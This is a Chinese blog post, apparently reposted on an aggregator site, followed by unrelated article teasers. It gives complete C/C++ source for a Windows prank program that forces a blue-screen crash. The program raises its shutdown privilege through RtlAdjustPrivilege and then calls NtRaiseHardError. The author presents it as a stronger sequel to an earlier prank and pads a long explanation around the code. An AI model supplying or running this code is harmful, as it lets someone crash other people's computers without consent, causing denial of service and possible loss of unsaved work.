C/C++实现蓝屏2.0

🚀欢迎互三👉程序猿方梓燚 💎💎

🚀关注博主,后期持续更新系列文章

🚀如果有错误感谢请大家批评指出,及时修改

🚀感谢大家点赞👍收藏评论✍  

前情提要

上次的文章C/C++蓝屏整人代码(要看的戳这里) 居然有粉丝在评论区说没有完全蓝屏(不信自己看下面)

好好好这么玩儿是吧,那么今天我给大家分享一个超级超级超级超级......咳咳咳...牛逼的蓝屏代码废话不多说直接来到大家超级超级超级超级......咳咳咳......喜欢的代码时间

完整代码

#include <Windows.h>
// 包含了 Windows 编程所需的头文件,提供了与 Windows 操作系统进行交互的各种函数、数据结构和常量定义

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) 
// WinMain 是 Windows 应用程序的入口点函数。
// HINSTANCE hInstance 是当前应用程序的实例句柄。
// HINSTANCE hPrevInstance 在 32 位 Windows 中始终为 NULL,已废弃。
// LPSTR lpCmdLine 是命令行参数。
// int nCmdShow 决定了窗口的初始显示方式

{
    HMODULE ntdll = LoadLibrary("ntdll.dll"); 
    // 使用 LoadLibrary 函数动态加载 ntdll.dll 库。
    // ntdll.dll 是 Windows 内核的重要模块,包含了许多底层的系统函数。

    FARPROC RtlAdjPriv = GetProcAddress(ntdll, "RtlAdjustPrivilege"); 
    // 通过 GetProcAddress 函数获取 ntdll.dll 库中 "RtlAdjustPrivilege" 函数的地址。

    FARPROC NtRaiseHardErr = GetProcAddress(ntdll, "NtRaiseHardError"); 
    // 同样通过 GetProcAddress 函数获取 "NtRaiseHardError" 函数的地址。

    unsigned char ErrKill; 
    // 定义一个无符号字符类型的变量 ErrKill,用于存储相关数据。

    long unsigned int HDErr; 
    // 定义一个无符号长整型变量 HDErr,用于存储相关数据。

    ((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjPriv)(0x13, true, false, &ErrKill); 
    // 进行函数指针的类型转换,并调用 "RtlAdjustPrivilege" 函数,传递了特定的参数 0x13、true、false 和 ErrKill 的地址。

    ((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardErr)(0xc0000233, 0, 0, 0, 6, &HDErr); 
    // 进行函数指针的类型转换,并调用 "NtRaiseHardError" 函数,传递了特定的参数 0xc0000233 等和 HDErr 的地址。

    return 0; 
    // 返回 0,表示程序正常结束。
}

代码详解

首先,通过 #include <Windows.h> 语句引入了 Windows 编程所需的头文件。此头文件不仅广泛而且详尽地涵盖了与 Windows 操作系统进行交互所必需的各种函数、数据结构和常量定义。它就如同构建摩天大楼的基石,为后续程序的开发精心搭建了稳固且不可或缺的基础架构。无论是处理图形界面、文件操作,还是进行网络通信等,都能在此头文件中找到相应的支持。

 

WinMain 函数作为 Windows 应用程序的关键入口点,具备以下至关重要的参数:

 

HINSTANCE hInstance :此参数独特且精确无误地标识了当前应用程序的实例句柄。在 Windows 系统那复杂而精细的运行机制中,它宛如一把万能钥匙,对于资源的有效管理、窗口的精心创建以及众多相关操作起着决定性作用。其重要性不可小觑,是确保应用程序稳定运行和系统资源合理管理的关键标识符。无论是资源的分配、释放,还是窗口的样式、位置等设置,都离不开这个标识符的准确运用。

 

HINSTANCE hPrevInstance :在 32 位 Windows 环境中已被确切地废弃,并且始终毫无例外地呈现为 NULL 的状态。这意味着它如同一件被时代淘汰的工具,不再具备任何实际的功能和作用。开发者在编写代码时,无需对其进行关注和处理。

 

LPSTR lpCmdLine :这一参数用于细致入微且全面地获取用户在命令行中输入的具体参数。它就像一个灵敏的触角,能够捕捉到用户输入的每一个字符和指令。通过对这些参数进行深入透彻的解析和精心巧妙的处理,程序能够依据用户的输入灵活多变且精准无误地执行多样化的逻辑流程或特定操作。从而实现与用户高效且顺畅的交互,满足用户的个性化需求,提供更加智能和便捷的使用体验。

 

int nCmdShow :其核心功能是严谨细致地决定应用程序窗口的初始显示方式。它仿佛是一位精准的调度员,能够将窗口的初始状态精准设置为最大化、最小化、正常显示等各种不同的状态。为用户提供了丰富多样的初始窗口展示效果选择,满足不同用户的偏好和使用场景需求。

 

在函数内部,通过一系列复杂而关键的操作与系统底层进行深度且全面的交互:

 

使用 LoadLibrary 函数动态加载了 ntdll.dll 库。ntdll.dll 作为 Windows 内核至关重要且不可或缺的核心组成部分,承载着数量众多且功能强大的底层系统函数。它犹如一座神秘的宝库,蕴含着无尽的系统核心功能。这一加载操作使得程序得以畅通无阻且高效地访问和充分利用这些底层的核心功能,为实现特定的高级且复杂的操作奠定了坚实的基础和创造了可能。

 

紧接着,巧妙且精准地运用 GetProcAddress 函数准确无误地获取了 ntdll.dll 库中 RtlAdjustPrivilege 和 NtRaiseHardError 这两个关键函数的地址。这一过程就像是在茫茫大海中精准定位到珍贵的宝藏坐标,为后续的操作找到了关键的钥匙。

 

随后,精确无误地定义了 unsigned char 类型的变量 ErrKill 和无符号长整型变量 HDErr ,旨在周密细致地存储后续函数调用过程中可能涉及和产生的各种数据。这些变量如同精心准备的容器,等待着数据的填充和使用。

 

接下来,进行了两次精准且无偏差的函数指针的类型转换,并顺利且高效地执行了相应的函数调用:

 

对于 RtlAdjustPrivilege 函数,极其准确且恰到好处地传递了参数 0x13truefalse 和 ErrKill 的地址,以实现特定且精细入微的权限调整操作。每一个参数的传递都像是在精心编排一场精密的舞蹈,不容有丝毫差错。

 

对于 NtRaiseHardErr 函数,精心且严谨无误地传递了参数 0xc0000233 等以及 HDErr 的地址,从而精准且有效地触发相应的硬件错误处理机制。每一个数据的传递都像是在触发一个复杂而精密的机关,必须确保准确无误。

 

最后,通过 return 0; 语句清晰明确且毫无歧义地表示程序正常结束,圆满且顺利地完成了整个应用程序的运行流程。就如同一场精彩演出的完美落幕,给整个程序的执行画上了一个圆满的句号。

好了今天就到这了ByeBye!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/871625.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

LeetCode合并两个有序链表

题目描述&#xff1a; 将两个升序链表合并为一个新的 升序 链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。 示例 1&#xff1a; 输入&#xff1a;l1 [1,2,4], l2 [1,3,4] 输出&#xff1a;[1,1,2,3,4,4] 示例 2&#xff1a; 输入&#xff1a;l1 [], l2…

chromedriver下载地址大全(包括124.*后)以及替换exe后仍显示版本不匹配的问题

Chrome for Testing availability CNPM Binaries Mirror 若已经更新了系统环境变量里的chromdriver路径下的exe&#xff0c;仍显示版本不匹配&#xff1a; 则在cmd界面输入 chromedriver 会跳出version verison与刚刚下载好的exe不匹配&#xff0c;则再输入&#xff1a; w…

http连接未释放导致生产故障

凌晨4点运维老大收到报警&#xff08;公司官网页面超时&#xff0c;上次故障因为运维修改nginx导致官网域名下某些接口不可用后&#xff0c;运维在2台nginx服务器上放了检测程序&#xff0c;检测官网页面&#xff09;&#xff0c;运维自己先看了看服务器相关配置&#xff0c;后…

小区物业维修管理系统/小区居民报修系统

摘要 小区物业维修是物业公司的核心&#xff0c;是必不可少的一个部分。在物业公司的整个服务行业中&#xff0c;业主担负着最重要的角色。为满足如今日益复杂的管理需求&#xff0c;各类小区物业维修管理系统也在不断改进。本课题所设计的小区物业维修管理系统&#xff0c;使用…

IPC进程间通信方式及网络通信

一、IPC进程间通信方式 1.共享内存&#xff08;最高效的进程间通信方式&#xff09; 其允许两个或多个进程共享一个给定的存储区&#xff0c;这一段存储区可以被两个或以上的进程映射至自己的地址空间中&#xff0c;一个进程写入共享内存的信息&#xff0c;可以被其他使用这个…

“面试宝典:高频算法题目详解与总结”

干货分享&#xff0c;感谢您的阅读&#xff01; &#xff08;暂存篇---后续会删除&#xff0c;完整版和持续更新见高频面试题基本总结回顾&#xff08;含笔试高频算法整理&#xff09;&#xff09; 备注&#xff1a;引用请标注出处&#xff0c;同时存在的问题请在相关博客留言…

每日掌握一个科研插图·2D密度图|24-08-21

小罗碎碎念 在统计学和数据可视化领域&#xff0c;探索两个定量变量之间的关系是一种常见的需求。为了更深入地理解这种关系&#xff0c;我们可以使用多种图形表示方法&#xff0c;这些方法在本质上是对传统图形的扩展和变体。 散点图&#xff1a;这是最基本的图形&#xff0c…

图算法-贪心策略-最小生成树(prim)和最短路径(dijkstra)

参考来源&#xff1a;和感谢 1.代码随想录 (programmercarl.com) 2.【图-最小生成树-Prim(普里姆)算法和Kruskal(克鲁斯卡尔)算法】https://www.bilibili.com/video/BV1wG411z79G?vd_source0ddb24a02523448baa69b0b871ab50f7 3.【图-最短路径-Dijkstra(迪杰斯特拉)算法】ht…

Vue3学习笔记之插槽

目录 前言 一、基础 (一) 默认插槽 (二) 具名插槽 (三) 作用域插槽 (四) 动态插槽 二、实战案例 前言 插槽&#xff08;Slots&#xff09;&#xff1f; 插槽可以实现父组件自定义内容传递给子组件展示&#xff0c;相当于一块画板&#xff0c;画板就是我们的子组件&…

RabbitMQ发布订阅模式Publish/Subscribe详解

订阅模式Publish/Subscribe 基于API的方式1.使用AmqpAdmin定制消息发送组件2.消息发送者发送消息3.消息消费者接收消息 基于配置类的方式基于注解的方式总结 SpringBoot整合RabbitMQ中间件实现消息服务&#xff0c;主要围绕3个部分的工作进行展开&#xff1a;定制中间件、消息发…

使用select

客户端 服务端 1 #include<myhead.h>2 3 #define SER_PORT 6666 //服务器端口4 #define SER_IP "127.0.0.1" //服务器ip5 6 7 int main(int argc, const char *argv[])8 {9 //创建套接字10 int sfdsocket(AF_INET,SOCK_STREAM,0);11 if(sfd-1)12 …

开源大模型LLaMA架构介绍

大模型相关目录 大模型&#xff0c;包括部署微调prompt/Agent应用开发、知识库增强、数据库增强、知识图谱增强、自然语言处理、多模态等大模型应用开发内容 从0起步&#xff0c;扬帆起航。 swift与Internvl下的多模态大模型分布式微调指南&#xff08;附代码和数据&#xff…

思科设备静态路由实验

拓扑及需求 网络拓扑及 IP 编址如图所示&#xff1b;PC1 及 PC2 使用路由器模拟&#xff1b;在 R1、R2、R3 上配置静态路由&#xff0c;保证全网可达&#xff1b;在 R1、R3 上删掉上一步配置的静态路由&#xff0c;改用默认路由&#xff0c;仍然要求全网可达。 各设备具体配置…

前端技巧——复杂表格在html当中的实现

应用场景 有时候我们的表格比较复杂&#xff0c;表头可能到处割裂&#xff0c;我们还需要写代码去完成这个样式&#xff0c;所以学会在原生html处理复杂的表格还是比较重要的。 下面我们来看这一张图&#xff1a; 我们可以看到有些表头项的规格不太一样&#xff0c;有1*1 2*…

Unity Protobuf3.21.12 GC 问题(反序列化)

背景&#xff1a;Unity接入的是 Google Protobuf 3.21.12 版本&#xff0c;排查下来反序列化过程中的一些GC点&#xff0c;处理了几个严重的&#xff0c;网上也有一些分析&#xff0c;这里就不一一展开&#xff0c;默认读者已经略知一二了。 如果下面有任何问题请评论区留言提…

实现 FastCGI

CGI的由来&#xff1a; 最早的 Web 服务器只能简单地响应浏览器发来的 HTTP 请求&#xff0c;并将存储在服务器上的 HTML 文件返回给浏 览器&#xff0c;也就是静态 html 文件&#xff0c;但是后期随着网站功能增多网站开发也越来越复杂&#xff0c;以至于出现动态技 术&…

2020 位示图

2020年网络规划设计师上午真题解析36-40_哔哩哔哩_bilibili 假设某计算机的字长为32位&#xff0c;该计算机文件管理系统磁盘空间管理采用位示图&#xff08;bitmap&#xff09;&#xff0c;记录磁盘的使用情况。若磁盘的容量为300GB&#xff0c;物理块的大小为4MB&#xff0c;…

【网络安全】漏洞挖掘:IDOR实例

未经许可&#xff0c;不得转载。 文章目录 正文 正文 某提交系统&#xff0c;可以选择打印或下载passport。 点击Documents > Download后&#xff0c;应用程序将执行 HTTP GET 请求&#xff1a; /production/api/v1/attachment?id4550381&enamemId123888id为文件id&am…

C语言 | Leetcode C语言题解之第354题俄罗斯套娃信封问题

题目&#xff1a; 题解&#xff1a; int cmp(int** a, int** b) {return (*a)[0] (*b)[0] ? (*b)[1] - (*a)[1] : (*a)[0] - (*b)[0]; }int maxEnvelopes(int** envelopes, int envelopesSize, int* envelopesColSize) {if (envelopesSize 0) {return 0;}qsort(envelopes, …

JVM 有哪些垃圾回收器?

JVM 有哪些垃圾回收器&#xff1f; 图中展示了7种作用于不同分代的收集器&#xff0c;如果两个收集器之间存在连线&#xff0c;则说明它们可以搭配使用。虚拟机所处的区域则表示它是属于新生代还是老年代收集器。 新生代收集器&#xff08;全部的都是复制算法&#xff09;&…